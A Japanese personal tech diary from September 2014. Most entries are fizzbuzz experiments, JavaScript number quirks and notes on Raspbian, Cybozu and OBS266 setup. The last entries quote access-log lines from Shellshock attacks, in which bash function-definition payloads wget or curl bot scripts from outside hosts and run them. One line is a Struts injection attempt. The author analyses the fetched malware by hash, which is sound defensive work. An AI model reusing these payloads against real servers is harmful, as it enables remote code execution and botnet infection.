トップ 最新 追記

屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2014-09-02(Tue) 暖かさが懐かしく

必要もなく三項演算子

前に思いついた 下らないfizzbuzzをnode.jsで。

"use strict"
var mylist = 
  ['fizzbuzz', , , 'fizz', , 
   'buzz', 'fizz', , , 'fizz',
   'buzz', , 'fizz', , ];
 
var x, y, last = 16;
 
for (x = 1; x <= last; x++)
{
  y = x % 15 ;
  mylist[y] == undefined
    ? console.log(x) 
    : console.log(mylist[y]);
}
$ node lfb.js | cat -n
     1	1
     2	2
     3	fizz
     4	4
     5	buzz
     6	fizz
     7	7
     8	8
     9	fizz
    10	buzz
    11	11
    12	fizz
    13	13
    14	14
    15	fizzbuzz
    16	16

スクリプト言語なら、やはり端末が気にかかる

node.js
特に複雑な端末操作など思いつかないけど。

#!/usr/bin/env node
"use strict"
console.log(process.argv[3]);
$ node argv.js  foo bar baz
bar
 
$ chmod 755 argv.js 
 
$ ./argv.js  foo bar baz
bar

argv[0]が"node"で[1]がスクリプト名(フルパス)、 後は引数と未定義値。

+は色々使えるが、* はダメ

"+"は、文字列の数値化、 加算、文字列連結(以上、優先順)ができるけど、"*"は乗算だけ。

> 2 + '18'
218
> + '18' + 2
20
> 2 + + '18'
20
> 'foo' + 2
'foo2'
> 'foo' * 2
NaN

なんか細かい規則色々。

3でアホ

多分一番手っ取り早く。

"use strict"
 
var x, last = + process.argv[2];
 
for (x = 1; x >= last; x++) {
   String(x).match('3')
     ? console.log('アホ')
     : console.log(x);
}
$ node 3aho.js 32 | cat -n
     1  1
     2  2
     3  アホ
     4  4
//
    10  10
    11  11
    12  12
    13  アホ
    14  14
//
    29  29
    30  アホ
    31  アホ
    32  アホ

2014-09-04(Thu) 今日はともかく、昨日が雨でなくて本当に助かった

jot 小数点

-p オプションで桁数指定らしい。
桁数回数初期値終値と。

$ jot -p 2 7 3 5 | cat -n
     1  3.00
     2  3.33
     3  3.67
     4  4.00
     5  4.33
     6  4.67
     7  5.00

もう少し複雑(増分/差分 指定)なものもあるが、 あんまり意味ないような(終値無視されたり)。

$ jot -p 2 5 4 0  -0.17
4.00
3.83
3.66
3.49
3.32

gopherは生きていた

forg gopher

9年前の時点ではgopherは生きていた ( とは違い、当時のFirefoxは "gopher://"を解した。いつから非対応だったっけ)。
ちょっと気になってapt-cache見たら、今でもクライアントはあった。
さしあたりはpythonで書かれているらしいforgで。

大きい画像はAboutを後から重ねている。

今日は多分

ここまで。


2014-09-06(Sat) 名古屋でとか

gosh のargv

検索で なんとか

#!/usr/bin/env gosh
(print(* (string->number (car *argv*)) 10))
 
$ gosh gosh_arg.sc 24
240

循環リストを使ったfizzbuzzを 書き直す


2014-09-07(Sun) まだ眠ってないが

また適当に

JavaScriptの奇妙な「数」

> NaN == NaN
false
> NaN != NaN
true

x != x が成立するのは x = NaN の ときだけだそうである。

> 0 == -0
true
> 0 === -0
 
> 1/0
Infinity
> 1/(-0)
-Infinity
 
> -Infinity + Infinity
NaN

一億行のfizzbuzzくらいなら

スクリプト言語でも。

$ time gosh  sfizzbuzz.scm  100000000 > /dev/null
 
real	0m50.740s
user	0m50.627s
sys	0m0.016s
 
$ time gosh  sfizzbuzz.scm  10000000 > /dev/null
 
real	0m4.240s
user	0m4.220s
sys	0m0.008s
 
$ time gosh  sfizzbuzz.scm  1000000 > /dev/null
 
real	0m0.439s
user	0m0.428s
sys	0m0.008s

ついでにpython2と3の比較も。
以前とは違うが、 下らないの 少し変えて実行。
変えた結果(毎回剰余を求める代わりに毎回listをpopと insertで更新している)、ずっと 遅くなったようだ。

$ time python pylist_fizzbuzz.py3 100000000 > /dev/null
 
real	1m33.917s
user	1m32.734s
sys	0m1.004s
 
$ time python3 pylist_fizzbuzz.py3 100000000 > /dev/null
 
real	2m58.786s
user	2m58.407s
sys	0m0.048s

自分のnode.jsは一桁以上低速だった。ので一千万回。
それでも。

$ time node listfb.js 10000000 > /dev/null
 
real	4m38.935s
user	4m34.721s
sys	0m4.164s

fizz と buzz のリストを

別々にしたfizzbuzz。
これもやはり 既に実装済みであった。
自分のlispの技量では、あまり 綺麗にならなかった。

#!/usr/bin/env python3
from sys import argv
 
try:
  last = int(argv[1]) + 1
except:
  print("No last number.")
  exit(2)
 
flist = ['fizz', False, False]
blist = ['buzz', False, False, False, False]
 
for x in range(1, last):
  y = x % 3
  z = x % 5
  if flist[y]: 
    print(flist[y], end='')
  if blist[z]: 
    print(blist[z], end='')
  if not ( flist[y] or blist[z]):
    print(x, end='')
  print('')

2014-09-08(Mon) 晴れてかなり涼しく

リスト切り詰めの試し

リストは二つも要らないかも、という発想が浮かんだ。
大きいリストに小さいリストを併合して、排他的に なるよう按排してみる。

#!/usr/bin/env python
from __future__ import print_function
from sys import argv
 
try:
  last = int(argv[1]) + 1
except:
  print("No last number.")
  exit(2)
 
list = ['buzz', False, 'fizz', False, False]
 
for x in range(1, last):
  y = x % 3 + 2
  z = x % 5
  flag1, flag2 = True, True
  if  list[y] == 'fizz':
    print(list[y], end='')
    flag1 = False
  if  list[z] == 'buzz':
    print(list[z], end='')
    flag2 = False
  if  flag1 and flag2:
    print(x, end='')
  print('')

なんとかバスの中で動作確認できた。
それにしてもflag を二つも設けるのはどう見ても変だ。
そのうちなんとかせねば。

リスト削減、されど。

ここまでくれば、単なる本末転倒。
リストの長さを3にしただけでは、

     1	1
     2	2
     3	fizz
     4	buzz
     5	buzz
     6	fizz
     7	7
     8	8
     9	fizzbuzz
    10	buzz
    11	11
    12	fizz
    13	13
    14	buzz
    15	fizzbuzz
    16	16

このように余計なものがいくつか出た。そこで "14"とか "29"とか を省く処理(真偽判定に少々嵌った)を追記。
単に面倒になっただけという。

#!/usr/bin/env python
from __future__ import print_function
from sys import argv
 
try:
  last = int(argv[1]) + 1
except:
  print("No last number.")
  exit(2)
 
list = ['fizz',False,'buzz']
 
for x in range(1, last):
  y = x % 3
  z = abs(x % 5 - 2)
  flag1, flag2 = True, True
  if  list[y] == 'fizz':
    print(list[y], end='')
    flag1 = False
  if  (list[z] == 'buzz') \
      and (str(x).find('4')) \
      and (str(x).find('9')):
    print(list[z], end='')
    flag2 = False
  if  flag1 and flag2:
    print(x, end='')
  print('')

どこかをいじるとうまくいかなくなっていたが、 Webからコピペしなおすとちゃんと動くようだった。

負の数 JavaScrpt

過去ページを繰っているうちに、過去やってなかったnodeで。

> Math.pow(2, 10)
1024
> Math.pow(2, 2)
4
> Math.pow(-2, 2)
4
> Math.pow((-2), 2)
4

2014-09-09(Tue) 晴れて、やはり涼しい。

関数化して余計な変数を少し減らす

fizzbuzz同じリストに併合する手法の改善。
冗漫なことはあまり変わらないだろうけど。

#!/usr/bin/env python
from __future__ import print_function
from sys import argv
  
try:
  last = int(argv[1]) + 1
except:
  print("No last number.")
  exit(2)
  
list = ['buzz',  'fizz', False, False,  False]
 
def fizz(num):
  y = num % 3 + 1
  if list[y] == 'fizz': return True
  else: return False
 
def buzz(num):
  z = num % 5
  if list[z] == 'buzz': return True
  else: return False
  
for x in range(1, last):
  if fizz(x): print("fizz", end='')
  if buzz(x): print("buzz", end='')
  if not (fizz(x) or buzz(x)):
    print(x, end='')
  print('')

fizzbuzzの処理を追加すれば、 print('')を省いて、 if の連続代りに if .. elif .. else できるのだけど。


2014-09-11(Thu) 昨晩の雷雨以後、降ったり止んだり

jessie of Raspbian

B+に入れてみた。

Raspbianのイメージ (2014-06-20-wheezy-raspbian.img)を インストールしてから、apt-getを何回か 繰り返す。最終的には apt-get dist-upgrade にオプションいくつか つけた。気がする。

自分で追加したパッケージはtmuxのみ。で、 699パッケージ。が、最後には962パッケージに 膨れ上がっていた。
rc なパッケージも40以上あった(いくつかは 手動で削除)。

$ cat /proc/version 
Linux version 3.12.28+ (dc4@dc4-XPS13-9333) \
(gcc version 4.8.3 20140303 (prerelease) \
(crosstool-NG linaro-1.13.1+bzr2650 - Linaro GCC 2014.03) )\
 #709 PREEMPT Mon Sep 8 15:28:00 BST 2014

最初は何だったか、それは記録してなかった。


2014-09-18(Thu) くもりかけであたまぼんやり

ビット反転

例によって、前にやったかどうか覚えてない例(?)。
十進値二進値反転値反転の二進値
(x+1) * (-1) といったところか。

>>> for x in range(7):
...  print x, '{:3b}'.format(x), \
...        ~x, '{:4b}'.format(~x)
... 
0   0 -1   -1
1   1 -2  -10
2  10 -3  -11
3  11 -4 -100
4 100 -5 -101
5 101 -6 -110
6 110 -7 -111

2014-09-19(Fri) 今日も、くもりかけで

cybouzu 10 on wheezy

動作環境には(OSはWinを除くとRedHatとCentのみ)、 Glibc2.5以上 とのことであったが、 EGLIBC2.13 のwheezy (x86_64)でもインストールはできた。

$ uname -a
Linux debian 3.2.0-4-amd64 #1 SMP \
Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux
 
$ ldd --version
ldd (Debian EGLIBC 2.13-38+deb7u4) 2.13
Copyright (C) 2011 Free Software Foundation, Inc.
This is free software; see the source for 
copying conditions.  There is NO warranty; 
not even for MERCHANTABILITY or FITNESS FOR 
A PARTICULAR PURPOSE.
作者 Roland McGrath および Ulrich Drepper。

補完が効かないファイル名をどうにかして、sudo sh $PROG すると、日本語表示の有無を確認するメッセージの後に、 "GLIBCのバージョンを検出できませんでした。"

やっぱりダメかと思いつつ、エラーメッセージなどで適当に検索して 参考になったページ
libc6-i386パッケージをapt-getして 無事インストール。
ブラウザで軽くアクセスしたが、基本動作は問題なさげ。

/usr/lib/cgi-bin/cbag$ file ag.cgi
ag.cgi: ELF 32-bit LSB shared object,
 Intel 80386, version 1 (SYSV),
 dynamically linked (uses shared libs),
 for GNU/Linux 2.6.9,
 BuildID[sha1]=0xb3ad231af94a72fb0facb059be3a964492e8ee66, stripped
 
/usr/lib/cgi-bin/cbag$ ldd ag.cgi 
        linux-gate.so.1 =>  (0xf7771000)
        libdl.so.2 => /lib32/libdl.so.2 (0xf5d8f000)
        libpthread.so.0 => /lib32/libpthread.so.0 (0xf5d76000)
        libm.so.6 => /lib32/libm.so.6 (0xf5d50000)
        libc.so.6 => /lib32/libc.so.6 (0xf5bec000)
        /lib/ld-linux.so.2 (0xf7772000)

そういえばx86_64で使ったことなかったみたい。
改めて確認すると、 32bitのライブラリが必要という 情報はあったのだけど。

おっとっと。Cybouzu Office 10だ。
省略はしないように。


2014-09-24(Wed) 小雨もあった

USB-RGB

ほとんど使った形跡も見当たらないジャンク品。

挿すと 認識はした。が、そのままでは緑色の画面が表示されるだけ。
とりあえず使えることを確認する。 Ubuntu-14.04(LIVE DVD)であっさり デスクトップが。

Raspbianは...そのうち考えよう。定格が5V/500mAとあったから、B+でも 直挿しはきつそうだし。

OBS266

自宅のドメインを閉鎖した後は NetBSD動かしたりする 程度であった放置していたが、久々に火を入れてみた。

IPは覚えていたのでSSHを考えたが、sshdは有効にして いなかったみたい。
シリアルコンソール接続に試行錯誤。
USBシリアルと変換アダプタと普通の LANケーブルで足りた。

ファームウェアの無償アップデートサービスは 昨年終了していた。
とりあえずは IPv6最新にしてSendmailなしに入れ替える。
OBSに直接ftpでダウンロードして、/usr/sbin/flashcfg -s $FILENAME。
無事終了して再起動。

ssd-linux login: root
Password: 
SSD/Linux 0.4-RELEASE-20130207/2.6.16 #2 Sun Feb 17 00:12:06 JST 2013
 
# uname -a
Linux ssd-linux 2.6.16 #2 Sun Feb 17 00:12:06 JST 2013 \
 ppc SSD/Linux 0.4-RELEASE-20130207

2014-09-26(Fri) よく晴れているらしい

tdiary update

4.0.5.1 にあげた。
tdiary.conf と .htaccess と images を新しい方にコピー。
するだけと分かるまで、しばらくdockerに設けた仮想Ubuntuで試行錯誤。

<追記>
theme/default/default.css も要った。キャッシュの為に 気づくのが遅れていた。
</追記>

bash 脆弱性で気づいた。

$ grep '()' $ACCESSLOG
58.44.75.143 - - [22/Sep/2014:19:06:29 +0900] "GET /~kuzu/diary/\
?date=200806?redirect:${%23req%3d%23context.get('com.opensymphon\
y.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealP\
ath(%22/%22)...

Strutsの脆弱性狙いの模様。
ちなみにこちらにはjavaは入れていない。
このアクセスの直前、同じIPからGoogleBotを詐称した普通の アクセスが二件。
このUser-Agentは、"Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" だった。


2014-09-29(Mon) 依然として秋晴れ

regular.bot

access.logに、

194.209.220.10 - - [28/Sep/2014:16:57:30 +0900] 
"GET / HTTP/1.0" 200 3897 "-" "() { :;}; 
/bin/bash -c \"
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;
curl -o /tmp/sh http://stablehost.us/bots/regular.bot;
sh /tmp/sh;
rm -rf /tmp/sh\""

なる一行。検索すると 似た報告が色々。
で、regular.botをdownloadしてみた。
他に4つばかりプログラムを/tmpの下にダウンロードして 実行し、crontabを書き換えて、削除する内容になっていた。
それも頂戴して見てみた。

$ ls -l
合計 1116
-rw-rw-r-- 1 user group 982256  9月 29 08:11 a
-rw-rw-r-- 1 user group  42436  9月 29 08:11 darwin
-rw-rw-r-- 1 user group  39130  9月 29 08:11 kaiten.c
-rw-rw-r-- 1 user group  66395  9月 29 08:11 pl
-rw-rw-r-- 1 user group    701  9月 29 08:11 regular.bot
 
$ file *
a:           ELF 64-bit LSB executable,
 x86-64, version 1 (GNU/Linux), statically linked,
 for GNU/Linux 2.6.24, 
 BuildID[sha1]=0xd5fb250b91b5baf9874e986fd7d14f88e6d4e1d2,
 not stripped
darwin:      Mach-O 64-bit executable
kaiten.c:    ASCII English text, with very long lines
pl:          data
regular.bot: ASCII text
 
$ sha1sum *
889b8f612fe790b786f1184bebe9dd5bf86ce8f6  a
e75b8133404dcea606a04a8e4c03b0af8bec6d22  darwin
658daf96fa06636bb50af577a980529aa3282499  kaiten.c
62aed37b3e6fbe8ff6552e3cf87b78ed473a9a43  pl
edde96085b3a9c097b474d6345ab4166e28e4cff  regular.bot
 
$ sha256sum *
3cafb672d0bc1acfb4eb506050f71a2acf1b239a36102a101b4d52ce75749372  a
61c46e434a117294148a53997d9c1d7bca724e8c9cf429d0eb92e93585bdfac6  darwin
47e71a4de9351e90a884978f2984796c1d770cbb3010cfbe2d8600cf259b6832  kaiten.c
a2f7839d37825f097a17ff03ed6fd5205a97fb4f2651945390e347804fcd8391  pl
1bd24270449047e2d0df9f7a5ecf58fd0647e25b55328c52c6cff6629a118530  regular.bot

"kaiten.c"は1000行近くあるCのソース。もちろん侵入先でビルド、実行する。
これも かなりメジャーなものと見えた。
"pl"はPerl Script。これも2000行近くあった。
"darwin"を見ると、MacOSXもターゲットらしい。チェックサムで 検索すると、 Tsunamiとか呼ばれるバックドアの模様。

jiとjurat

bashの脆弱性攻撃もう一丁。

173.45.100.18 - - [29/Sep/2014:10:18:21 +0900] 
"GET /cgi-bin/hi HTTP/1.0" 404 770 "-" 
"() { :;}; /bin/bash -c \"
cd /tmp;
wget http://213.5.67.223/ji;
curl -O /tmp/ji http://213.5.67.223/jurat ; 
perl /tmp/ji;
rm -rf /tmp/ji;
rm -rf /tmp/ji*\""

ji はwget できた。が、juratは"Not Found"であった。
LinuxNet Perlbotらしい。

$ ls -l 
合計 20
-rw-rw-r-- 1 makoto makoto 16680  9月 29 00:44 ji
$ file ji
ji: a /usr/bin/perl\015 script, ASCII text executable,
 with CRLF line terminators
 
$ sha1sum ji 
dc788bfb3ef12016cdb53c904ef47cfd3f5d2a97  ji
 
$ sha256sum ji 
ef42439cb6b8dd9d7d28147efe2282502b4081487cb8df42cb5e9fade5b660d3  ji

リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。

index.htmlは ここから。